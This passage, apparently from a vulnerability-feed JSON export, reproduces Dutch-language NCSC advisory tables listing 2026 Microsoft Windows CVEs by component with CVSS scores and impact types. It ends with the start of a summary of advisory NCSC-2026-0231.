\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:06.913080Z"}, {"uuid": "5fab6634-647a-4bcf-b7ee-f260dec03c62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54126", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, 